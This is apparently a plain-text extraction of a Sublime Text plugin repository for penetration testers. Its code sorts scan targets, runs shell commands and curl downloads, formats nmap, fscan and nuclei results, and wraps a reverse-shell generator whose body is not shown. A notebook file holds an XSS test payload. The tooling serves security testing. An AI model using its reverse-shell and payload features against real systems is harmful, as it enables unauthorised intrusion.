panel_print(self.view, edit, lines)
class UrlEncodeDecodeTextCommand(sublime_plugin.TextCommand):
def run(self, edit, cmd):
text = get_buffer_text(self.view).replace('\r\n','\n').replace('\r','\n')
if cmd == 'encode':
text = quote(text)
if cmd == 'decode':
text = unquote(text)
panel_print(self.view, edit, text.replace('%0A','\n'))
class Md5EncryptTextCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = get_buffer_text(self.view).strip('\n')
text = hashlib.md5(text.encode()).hexdigest()
panel_print(self.view, edit, text)
class Md5EncryptLineCommand(sublime_plugin.TextCommand):
def run(self, edit):
texts = get_buffer_text(self.view).strip('\n').split('\n')
lines = ''
for line in texts:
lines += hashlib.md5(line.encode()).hexdigest() + '\n'
panel_print(self.view, edit, lines)
# Command
class RunCmdCommand(sublime_plugin.TextCommand):
def run(self, edit, cmd):
text = get_buffer_text(self.view)
global workdir
file = write_file(workdir,text)
cmd = cmd.replace('target.txt',file)
exec_command(cmd)
class CurlDownloadFileCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = get_buffer_text(self.view).strip('\n')
global workdir
file = write_file(workdir,text)
ticks = str(int(time.time()))
workdir = os.path.join(HOME,'Desktop','work')
dwdir = os.path.join(workdir,ticks)
if os.path.exists(workdir) == False:
os.mkdir(workdir)
os.mkdir(dwdir)
else:
os.mkdir(dwdir)
errurls = is_url(text.split('\n'))
if len(errurls) > 0:
sublime.message_dialog('[error] Urls are invaild! Please check...')
panel_print(self.view, edit, '[-] The invaild urls:\n' + errurls)
return
if os.path.exists(workdir):
if platform == 'windows':
cmd = '"cd {dir} && FOR /f %f IN ({file}) DO curl -k -O %f"'.format(dir=dwdir,file=file)
else:
cmd = 'cd {dir};for line in $(cat {file});do curl -k -O ${line};done;'.format(dir=dwdir,file=file,line='{line}')
exec_command(cmd)
else:
panel_print(self.view, edit, '[!] $HOME/Desktop/work folder not exists!')
# Format tools result
class FormatToolsResultCommand(sublime_plugin.TextCommand):
def run(self, edit, tool, mode):
text = get_buffer_text(self.view)
if tool == 'fscan':
results = classify_fscan_result(text)
for key in results.keys():
syntax = SYNTAX_FILE if key in ['web-info.txt','weak-password.txt'] else ''
new_view(self.view, edit, results.get(key), syntax=syntax, filename=key)
return None
if tool == 'nmap':
try:
text = format_nmap_open_port(text, mode)
except:
text = select_nmap_ports_from_xml(text, mode)
new_view(self.view, edit, text)
if tool == 'dirsx':
text = format_dirsx_result(text)
new_view(self.view, edit, text, SYNTAX_FILE)
# highlight httpx nulcie result
class HighlightHttpxNucleiCommand(sublime_plugin.TextCommand):
def run(self, edit, tool):
text = get_buffer_text(self.view)
if tool == 'httpx':
text = format_httpx_result(text)
if tool == 'nuclei':
text = format_nuclei_result(text)
if tool == 'text':
self.view.assign_syntax(SYNTAX_FILE)
return None
if text == '':
return None
update_file(self.view, edit, text)
self.view.assign_syntax(SYNTAX_FILE)
# Pentest help module
class PentestHelpModuleCommand(sublime_plugin.TextCommand):
def run(self, edit, tool):
if tool == 'upload':
global file_upload_package
text = file_upload_package
new_view(self.view, edit, text, 'Markdown.sublime-syntax')
# Reserve shell tool
class ReverseShellToolsCommand(sublime_plugin.TextCommand):
def run(self, edit, shell):
ip_port = get_buffer_text(self.view)
if shell == 'bash':
text = reverse_shell_tools('bash',ip_port)
if shell == 'sh':
text = reverse_shell_tools('sh',ip_port)
if shell == 'other':
text = reverse_shell_tools('other',ip_port)
if len(text) > 0:
new_view(self.view, edit, text, 'Bash.sublime-syntax')
# Input text
class InputTextCommand(sublime_plugin.TextCommand):
def run(self, edit):
panel_print(self.view, edit, 'Input Text:\n')
# Setting config
class SettingXtoolsConfigCommand(sublime_plugin.TextCommand):
def run(self, edit):
config_file = os.path.join(XTOOLS_ROOT,"Context.sublime-menu")
self.view.window().open_file(config_file)
# Xtools Theme
class SettingXtoolsTheme(sublime_plugin.TextCommand):
def run(self, edit, theme):
theme, color = theme.split("-")
theme = "{t}.sublime-theme".format(t=theme)
color = "{c}.sublime-color-scheme".format(c=color)
sublime.load_settings('Preferences.sublime-settings').set('theme', theme)
sublime.load_settings('Preferences.sublime-settings').set('color_scheme', color)
sublime.save_settings('Preferences.sublime-settings')
# Change Language
class SwitchLanguageCommand(sublime_plugin.TextCommand):
def run(self, edit):
current_menu = os.path.join(XTOOLS_ROOT, "Context.sublime-menu")
backup_menu = os.path.join(XTOOLS_ROOT, "Context.sublime-menu.bak")
tmp_menu = os.path.join(XTOOLS_ROOT, "Context.sublime-menu.tmp")
os.rename(current_menu, tmp_menu)
os.rename(backup_menu, current_menu)
os.rename(tmp_menu, backup_menu)
# Notebook
class XtoolsNoteBookCommand(sublime_plugin.TextCommand):
def run(self, edit):
notebook = os.path.join(XTOOLS_ROOT,"Notebook.md")
self.view.window().open_file(notebook)
# About Xtools
class AboutXtoolsCommand(sublime_plugin.TextCommand):
def run(self, edit):
tip = check_version(VERSION)
sublime.message_dialog(ABOUT_XTOOLS.format(version=VERSION,tip=tip))
# Function lib
def get_buffer_text(view):
text = view.substr(Region(0, view.size()))
return text.strip()
def region_to_text(view,regions):
text = []
for region in regions:
text.append(view.substr(region))
text = sorted(list(set(text)))
return '\n'.join(text)
def get_console_text(view):
panel = view.window().find_output_panel('exec')
text = panel.substr(Region(0, panel.size()))
text = text.replace('Input Text:\n','')
return text
def panel_print(view, edit, text):
view.window().destroy_output_panel('exec')
panel = view.window().create_output_panel('exec')
view.window().run_command('show_panel', {'panel': 'output.exec'})
panel.run_command('insert', {'characters': text})
def new_view(view, edit, text, syntax='', filename=''):
new_view = view.window().new_file(syntax=syntax)
new_view.set_scratch(True)
new_view.set_name(filename)
# 旧版本 Sublime Text
# new_view.insert(edit, 0, text.strip())
# 新版本 Sublime Text
new_view.run_command('insert', {'characters': text.strip()})
view.window().focus_view(new_view)
def update_file(view, edit, text):
view.replace(edit, sublime.Region(0, view.size()), text.strip())
gitextract_hfsza_gx/ ├── Context.sublime-menu ├── Context.sublime-menu.bak ├── Notebook.md ├── README.md ├── __init__.py ├── applescript/ │ ├── __init__.py │ ├── _result.py │ ├── _run.py │ ├── _temp.py │ └── tell.py ├── config.py ├── lib/ │ ├── Xtools-Text.sublime-syntax │ └── format_tools_result.py ├── themes/ │ ├── Breakers.sublime-color-scheme │ ├── Catppuccin Macchiato.sublime-color-scheme │ ├── Catppuccin Mocha.sublime-color-scheme │ ├── Celeste.sublime-color-scheme │ ├── Mariana.sublime-color-scheme │ ├── Monokai.sublime-color-scheme │ ├── Palenight Theme.sublime-color-scheme │ ├── Palenight Theme.sublime-theme │ └── Sixteen.sublime-color-scheme ├── utils.py └── xtools.py
SYMBOL INDEX (131 symbols across 7 files)
FILE: applescript/_result.py
class Result (line 2) | class Result:
method __init__ (line 7) | def __init__(self,code,out,err):
FILE: applescript/_run.py
function _run (line 7) | def _run(script, background=False, javascript=False):
FILE: applescript/_temp.py
function _tempfile (line 5) | def _tempfile():
FILE: applescript/tell.py
function app (line 5) | def app(appname, applescript, background=False):
FILE: lib/format_tools_result.py
function select_ip_port (line 12) | def select_ip_port(text:str) -> str:
function select_web_poc (line 23) | def select_web_poc(text:str) ->str:
function select_web_info (line 33) | def select_web_info(text:str) ->str:
function select_ip_exp (line 60) | def select_ip_exp(text:str) -> str:
function select_weak_password (line 78) | def select_weak_password(text:str) -> str:
function select_os_info (line 98) | def select_os_info(text:str) -> str:
function classify_fscan_result (line 123) | def classify_fscan_result(text:str) -> dict:
function format_dirsx_result (line 149) | def format_dirsx_result(text:str) -> str:
FILE: utils.py
function check_version (line 31) | def check_version(current_version):
function convert_ipv4_to_C (line 46) | def convert_ipv4_to_C(view):
function convert_C_to_ipv4 (line 67) | def convert_C_to_ipv4(view):
function parse_ip_range (line 93) | def parse_ip_range(start,end):
function convert_ipv4_to_B (line 105) | def convert_ipv4_to_B(view):
function select_ipv4 (line 126) | def select_ipv4(view):
function is_lan (line 143) | def is_lan(ip):
function select_ipv4_range (line 150) | def select_ipv4_range(view):
function select_ipv4_port (line 161) | def select_ipv4_port(view):
function count_ipv4_number (line 173) | def count_ipv4_number(view):
function select_domain (line 194) | def select_domain(view):
function select_rootdomain (line 210) | def select_rootdomain(text):
function select_urls (line 222) | def select_urls(view, path=False):
function exec_command (line 238) | def exec_command(cmd):
function write_file (line 250) | def write_file(workdir,text):
function read_file (line 258) | def read_file(file):
function delete_url_path (line 264) | def delete_url_path(url):
function is_url (line 269) | def is_url(urls):
function unique_sort_ipv4 (line 279) | def unique_sort_ipv4(ips):
function add_prefix_suffix (line 287) | def add_prefix_suffix(text,chars,cmd):
function select_routers (line 370) | def select_routers(text):
function filter_routers (line 376) | def filter_routers(results):
function reverse_shell_tools (line 416) | def reverse_shell_tools(shell,ip_port):
function format_nmap_open_port (line 472) | def format_nmap_open_port(xmls, mode):
function select_nmap_ports_from_xml (line 514) | def select_nmap_ports_from_xml(xmls, mode):
function format_httpx_result (line 555) | def format_httpx_result(text):
function format_nuclei_result (line 574) | def format_nuclei_result(text):
FILE: xtools.py
class SelectIpv4LanCommand (line 70) | class SelectIpv4LanCommand(sublime_plugin.TextCommand):
method run (line 71) | def run(self, edit):
class SelectIpv4WanCommand (line 77) | class SelectIpv4WanCommand(sublime_plugin.TextCommand):
method run (line 78) | def run(self, edit):
class SelectIpv4RangeCommand (line 84) | class SelectIpv4RangeCommand(sublime_plugin.TextCommand):
method run (line 85) | def run(self, edit):
class SelectIpv4PortCommand (line 91) | class SelectIpv4PortCommand(sublime_plugin.TextCommand):
method run (line 92) | def run(self, edit):
class CountIpv4NumberCommand (line 98) | class CountIpv4NumberCommand(sublime_plugin.TextCommand):
method run (line 99) | def run(self, edit):
class ConvertRangeIp2cCommand (line 104) | class ConvertRangeIp2cCommand(sublime_plugin.TextCommand):
method run (line 105) | def run(self, edit):
class ConvertRangeC2ipCommand (line 110) | class ConvertRangeC2ipCommand(sublime_plugin.TextCommand):
method run (line 111) | def run(self, edit):
class ConvertRangeIp2bCommand (line 116) | class ConvertRangeIp2bCommand(sublime_plugin.TextCommand):
method run (line 117) | def run(self, edit):
class SelectDomainRootAllCommand (line 122) | class SelectDomainRootAllCommand(sublime_plugin.TextCommand):
method remove (line 123) | def remove(self,edit):
method run (line 133) | def run(self, edit, cmd):
class FilterDnsCdnHostCommand (line 142) | class FilterDnsCdnHostCommand(sublime_plugin.TextCommand):
method run (line 143) | def run(self, edit):
class FilterDnsCdnDomainCommand (line 160) | class FilterDnsCdnDomainCommand(sublime_plugin.TextCommand):
method run (line 161) | def run(self, edit):
class SelectUrlsExcludePathCommand (line 178) | class SelectUrlsExcludePathCommand(sublime_plugin.TextCommand):
method run (line 179) | def run(self, edit):
class SelectUrlsIncludePathCommand (line 184) | class SelectUrlsIncludePathCommand(sublime_plugin.TextCommand):
method run (line 185) | def run(self, edit):
class SelectRoutersFromTextCommand (line 190) | class SelectRoutersFromTextCommand(sublime_plugin.TextCommand):
method run (line 191) | def run(self, edit):
class RecoverJsLinkCommand (line 198) | class RecoverJsLinkCommand(sublime_plugin.TextCommand):
method run (line 199) | def run(self, edit):
class RemoveSpecialCharsCommand (line 215) | class RemoveSpecialCharsCommand(sublime_plugin.TextCommand):
method run (line 216) | def run(self, edit):
class RemoveSpecificStringCommand (line 222) | class RemoveSpecificStringCommand(sublime_plugin.TextCommand):
method run (line 223) | def run(self, edit, str):
class DeleteLinesCommand (line 234) | class DeleteLinesCommand(sublime_plugin.TextCommand):
method run (line 235) | def run(self, edit):
class SelectLinesCommand (line 255) | class SelectLinesCommand(sublime_plugin.TextCommand):
method run (line 256) | def run(self, edit):
class AddPrefixSuffixCommand (line 272) | class AddPrefixSuffixCommand(sublime_plugin.TextCommand):
method run (line 273) | def run(self, edit, cmd):
class ReplaceKeyToValueCommand (line 282) | class ReplaceKeyToValueCommand(sublime_plugin.TextCommand):
method run (line 283) | def run(self, edit):
class ReplaceValueToKeyCommand (line 299) | class ReplaceValueToKeyCommand(sublime_plugin.TextCommand):
method run (line 300) | def run(self, edit):
class SortAndUniqueTextCommand (line 319) | class SortAndUniqueTextCommand(sublime_plugin.TextCommand):
method run (line 320) | def run(self, edit):
class Base64EncodeTextCommand (line 328) | class Base64EncodeTextCommand(sublime_plugin.TextCommand):
method run (line 329) | def run(self, edit):
class Base64DecodeTextCommand (line 335) | class Base64DecodeTextCommand(sublime_plugin.TextCommand):
method run (line 336) | def run(self, edit):
class Base64EncodeLineCommand (line 342) | class Base64EncodeLineCommand(sublime_plugin.TextCommand):
method run (line 343) | def run(self, edit):
class Base64DecodeLineCommand (line 352) | class Base64DecodeLineCommand(sublime_plugin.TextCommand):
method run (line 353) | def run(self, edit):
class UrlEncodeDecodeTextCommand (line 362) | class UrlEncodeDecodeTextCommand(sublime_plugin.TextCommand):
method run (line 363) | def run(self, edit, cmd):
class Md5EncryptTextCommand (line 372) | class Md5EncryptTextCommand(sublime_plugin.TextCommand):
method run (line 373) | def run(self, edit):
class Md5EncryptLineCommand (line 379) | class Md5EncryptLineCommand(sublime_plugin.TextCommand):
method run (line 380) | def run(self, edit):
class RunCmdCommand (line 389) | class RunCmdCommand(sublime_plugin.TextCommand):
method run (line 390) | def run(self, edit, cmd):
class CurlDownloadFileCommand (line 398) | class CurlDownloadFileCommand(sublime_plugin.TextCommand):
method run (line 399) | def run(self, edit):
class FormatToolsResultCommand (line 431) | class FormatToolsResultCommand(sublime_plugin.TextCommand):
method run (line 432) | def run(self, edit, tool, mode):
class HighlightHttpxNucleiCommand (line 457) | class HighlightHttpxNucleiCommand(sublime_plugin.TextCommand):
method run (line 458) | def run(self, edit, tool):
class PentestHelpModuleCommand (line 478) | class PentestHelpModuleCommand(sublime_plugin.TextCommand):
method run (line 479) | def run(self, edit, tool):
class ReverseShellToolsCommand (line 488) | class ReverseShellToolsCommand(sublime_plugin.TextCommand):
method run (line 489) | def run(self, edit, shell):
class InputTextCommand (line 503) | class InputTextCommand(sublime_plugin.TextCommand):
method run (line 504) | def run(self, edit):
class SettingXtoolsConfigCommand (line 509) | class SettingXtoolsConfigCommand(sublime_plugin.TextCommand):
method run (line 510) | def run(self, edit):
class SettingXtoolsTheme (line 516) | class SettingXtoolsTheme(sublime_plugin.TextCommand):
method run (line 517) | def run(self, edit, theme):
class SwitchLanguageCommand (line 528) | class SwitchLanguageCommand(sublime_plugin.TextCommand):
method run (line 529) | def run(self, edit):
class XtoolsNoteBookCommand (line 540) | class XtoolsNoteBookCommand(sublime_plugin.TextCommand):
method run (line 541) | def run(self, edit):
class AboutXtoolsCommand (line 547) | class AboutXtoolsCommand(sublime_plugin.TextCommand):
method run (line 548) | def run(self, edit):
function get_buffer_text (line 555) | def get_buffer_text(view):
function region_to_text (line 560) | def region_to_text(view,regions):
function get_console_text (line 569) | def get_console_text(view):
function panel_print (line 576) | def panel_print(view, edit, text):
function new_view (line 583) | def new_view(view, edit, text, syntax='', filename=''):
function update_file (line 594) | def update_file(view, edit, text):
Condensed preview — 24 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (182K chars).
[
{
"path": "Context.sublime-menu",
"chars": 14471,
"preview": "[\n {\n \"id\": \"xtools\",\n \"caption\": \"🖥️ Xtools\",\n \"children\": [\n {\n \"cap"
},
{
"path": "Context.sublime-menu.bak",
"chars": 13782,
"preview": "[\n {\n \"id\": \"xtools\",\n \"caption\": \"🖥️ Xtools\",\n \"children\": [\n {\n \"cap"
},
{
"path": "Notebook.md",
"chars": 77,
"preview": "## xtools 记事本\n> 功能:临时笔记、payload...\n\n```paylaod\n<script>alert(1)</script>\n```\n"
},
{
"path": "README.md",
"chars": 8258,
"preview": "<h1 align=\"center\">Xtools</h1>\n<h3 align=\"center\">Xtools 是一款 Sublime Text 插件、同时是一款简单的资产处理、命令行调用工具</h3>\n<p align=\"center\""
},
{
"path": "__init__.py",
"chars": 1,
"preview": "\n"
},
{
"path": "applescript/__init__.py",
"chars": 1,
"preview": "\n"
},
{
"path": "applescript/_result.py",
"chars": 220,
"preview": "\nclass Result:\n code = None\n out = None\n err = None\n\n def __init__(self,code,out,err):\n self.code = c"
},
{
"path": "applescript/_run.py",
"chars": 949,
"preview": "import os\nimport subprocess\n\nfrom ._result import Result\nfrom ._temp import _tempfile\n\ndef _run(script, background=False"
},
{
"path": "applescript/_temp.py",
"chars": 114,
"preview": "import os\nfrom tempfile import mkstemp\n\n\ndef _tempfile():\n f, path = mkstemp()\n os.close(f)\n return path\n"
},
{
"path": "applescript/tell.py",
"chars": 255,
"preview": "__all__ = ['app']\n\nfrom ._run import _run\n\ndef app(appname, applescript, background=False):\n \"\"\"execute applescript `"
},
{
"path": "config.py",
"chars": 7410,
"preview": "# config\n\nfilter_domains = '''\n.163jiasu.com\n.1test.cn\n.21okglb.cn\n.21vianet.com.cn\n.21vokglb.cn\n.360cdn.cn\n.360qhcdn.co"
},
{
"path": "lib/Xtools-Text.sublime-syntax",
"chars": 2239,
"preview": "%YAML 1.2\n---\n# http://www.sublimetext.com/docs/syntax.html\nname: Xtools Text\nfile_extensions:\n - txt\nscope: source.pyt"
},
{
"path": "lib/format_tools_result.py",
"chars": 4724,
"preview": "# -*- coding=utf-8 -*-\n\nimport re\n\nheader = '''\n+--------+--------+---------+-----------+--------------+------------+\n| "
},
{
"path": "themes/Breakers.sublime-color-scheme",
"chars": 1048,
"preview": "// Documentation at https://www.sublimetext.com/docs/color_schemes.html\n{\n\t\"variables\":\n\t{\n\t},\n\t\"globals\":\n\t{\n\t},\n\t\"rule"
},
{
"path": "themes/Catppuccin Macchiato.sublime-color-scheme",
"chars": 16512,
"preview": "{\n \"name\": \"Catppuccin\",\n \"author\": \"Catppuccin Org\",\n\n \"variables\": {\n \"rosewater\": \"#f4dbd6\",\n "
},
{
"path": "themes/Catppuccin Mocha.sublime-color-scheme",
"chars": 16531,
"preview": "{\n \"name\": \"Catppuccin\",\n \"author\": \"Catppuccin Org\",\n\n \"variables\": {\n \"rosewater\": \"#f5e0dc\",\n "
},
{
"path": "themes/Celeste.sublime-color-scheme",
"chars": 1054,
"preview": "// Documentation at https://www.sublimetext.com/docs/color_schemes.html\n{\n\t\"variables\":\n\t{\n\t},\n\t\"globals\":\n\t{\n\t},\n\t\"rule"
},
{
"path": "themes/Mariana.sublime-color-scheme",
"chars": 1147,
"preview": "// Documentation at https://www.sublimetext.com/docs/color_schemes.html\n{\n\t\"variables\":\n\t{\n\t\t\"black2\": \"hsl(240,20%,16%)"
},
{
"path": "themes/Monokai.sublime-color-scheme",
"chars": 1055,
"preview": "// Documentation at https://www.sublimetext.com/docs/color_schemes.html\n{\n\t\"variables\":\n\t{\n\t},\n\t\"globals\":\n\t{\n\t},\n\t\"rule"
},
{
"path": "themes/Palenight Theme.sublime-color-scheme",
"chars": 32012,
"preview": "{\n \"name\": \"Palenight Theme\",\n \"author\": \"James Brooks (Based on Olaolu Olawuyi's VSCode Theme)\",\n \"variables\": {\n "
},
{
"path": "themes/Palenight Theme.sublime-theme",
"chars": 3354,
"preview": "{\n \"extends\": \"Adaptive.sublime-theme\",\n \"variables\": {\n \"font_face\": \"system\",\n \"font_size_sm\": 11,\n \"font_s"
},
{
"path": "themes/Sixteen.sublime-color-scheme",
"chars": 1048,
"preview": "// Documentation at https://www.sublimetext.com/docs/color_schemes.html\n{\n\t\"variables\":\n\t{\n\t},\n\t\"globals\":\n\t{\n\t},\n\t\"rule"
},
{
"path": "utils.py",
"chars": 17790,
"preview": "# -*- coding=utf-8 -*-\n# Functions lib\n\nimport sublime\nfrom .config import *\nimport re, os, hashlib, socket\nfrom urllib."
},
{
"path": "xtools.py",
"chars": 18358,
"preview": "# -*- coding=utf-8 -*-\n\nimport sublime_plugin\nfrom sublime import Region\nfrom .utils import *\nimport json,time\nimport ba"
}
]
About this extraction
This page contains the full source code of the chasingboy/Xtools GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 24 files (158.6 KB), approximately 43.7k tokens, and a symbol index with 131 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.